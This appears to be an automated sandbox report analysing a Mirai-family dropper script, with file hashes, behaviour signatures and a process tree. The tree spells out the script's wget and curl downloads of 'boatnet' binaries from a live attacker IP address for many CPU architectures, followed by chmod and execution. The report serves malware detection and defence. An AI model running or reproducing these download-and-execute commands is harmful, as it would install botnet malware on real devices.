Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17-01-2025 06:15

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    95a4c9ceeaff1ba0b6b54a2ca6657d9b

  • SHA1

    3d204079c491b73eb2e8000ad770bfb538f3bb79

  • SHA256

    21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

  • SHA512

    227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:672
    • /usr/bin/wget
      wget http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:674
    • /usr/bin/curl
      curl -O http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:693
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:701
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
        2⤵
        • File and Directory Permissions Modification
        PID:702
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:703
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:705
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:706
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:710
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
        2⤵
        • File and Directory Permissions Modification
        PID:711
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:713
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:715
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:728
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:741
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:744
        • /usr/bin/wget
          wget http://107.172.51.228/hiddenbin/boatnet.i468
          2⤵
            PID:746
          • /usr/bin/curl
            curl -O http://107.172.51.228/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:762
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:766
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.i686
              2⤵
                PID:767
              • /usr/bin/curl
                curl -O http://107.172.51.228/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:770
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:771
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:772
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:773
                • /usr/bin/wget
                  wget http://107.172.51.228/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:774
                  • /usr/bin/curl
                    curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:777
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:784
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:786
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:787
                    • /usr/bin/wget
                      wget http://107.172.51.228/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:788
                    • /usr/bin/curl
                      curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:797
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:805
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:809
                      • /usr/bin/wget
                        wget http://107.172.51.228/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:811
                      • /usr/bin/curl
                        curl -O http://107.172.51.228/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:816
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:817
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:818
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:819
                        • /usr/bin/wget
                          wget http://107.172.51.228/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:823
                        • /usr/bin/curl
                          curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:824
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:825
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:826
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:827
                          • /usr/bin/wget
                            wget http://107.172.51.228/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:828
                          • /usr/bin/curl
                            curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:829
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:830
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:831
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:832
                            • /usr/bin/wget
                              wget http://107.172.51.228/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:833
                            • /usr/bin/curl
                              curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:834
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:835
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:836
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:837
                              • /usr/bin/wget
                                wget http://107.172.51.228/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:841
                              • /usr/bin/curl
                                curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:842
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:843
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:844
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:845
                                • /usr/bin/wget
                                  wget http://107.172.51.228/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:847
                                • /usr/bin/curl
                                  curl -O http://107.172.51.228/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Writes file to tmp directory
                                  PID:848
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:849
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:850
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:851
                                  • /usr/bin/wget
                                    wget http://107.172.51.228/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:853
                                  • /usr/bin/curl
                                    curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Writes file to tmp directory
                                    PID:854
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:855
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:856
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:857
                                    • /usr/bin/wget
                                      wget http://107.172.51.228/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:859
                                    • /usr/bin/curl
                                      curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:860
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:861
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-bfb0d7c30b4f40de9d527da978057529-systemd-timedated.service-XxmCri WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:862
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:863

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      553fbff4e8c1e5b9468cc5d81f47f451

                                      SHA1

                                      4c65f38b9adca335e1185d23447bbb3e4b61dbc6

                                      SHA256

                                      1ee8b2996d1ceb800d962878c83e6bf8ef67f3ea1bcba0cba0d49b31b3596336

                                      SHA512

                                      d3f9c1494e85673583ab60f697395de05e200006f03b1bfacd7ef0e17488d09c81e908266f765bb7c84771cfb39957f66350509c9b566d5ea50130763deadf85

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      8a0eb12f131a868513eacb61b4c8fb62

                                      SHA1

                                      fbac5d15efd4502f89b515693906d772f5711855

                                      SHA256

                                      4f54d6dc5fdca9535fc7ff25709e90936d1fb9ed6d52302bc5aab624ea4a6fed

                                      SHA512

                                      04e242e0d2d023f70ec1da3624d01054bbca46476463e4f0bba3ce738449c660edcd0753dc96a887f4e81bd3086b87253e2ecc02644e5afc9646f9da60c25a72

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      405f165092be3a00be30fc086d128883

                                      SHA1

                                      95a5dc07ff75bb2a545e0f64a5dba0f571f8336b

                                      SHA256

                                      067156679583ce84ad5e7329f087a7b3b27f15d69336135f992d03179c614947

                                      SHA512

                                      cf70bc7bd4ab0c7da644ed0742714e7ee292645ade1a090f4f763ff8d10d7cd71fa6b826487b33a906e7ec228876cbed5259aba20a3504adc377e77e705e499f

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      313c4b235e0e62ca38eb04bfa7677e44

                                      SHA1

                                      c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

                                      SHA256

                                      dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

                                      SHA512

                                      0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad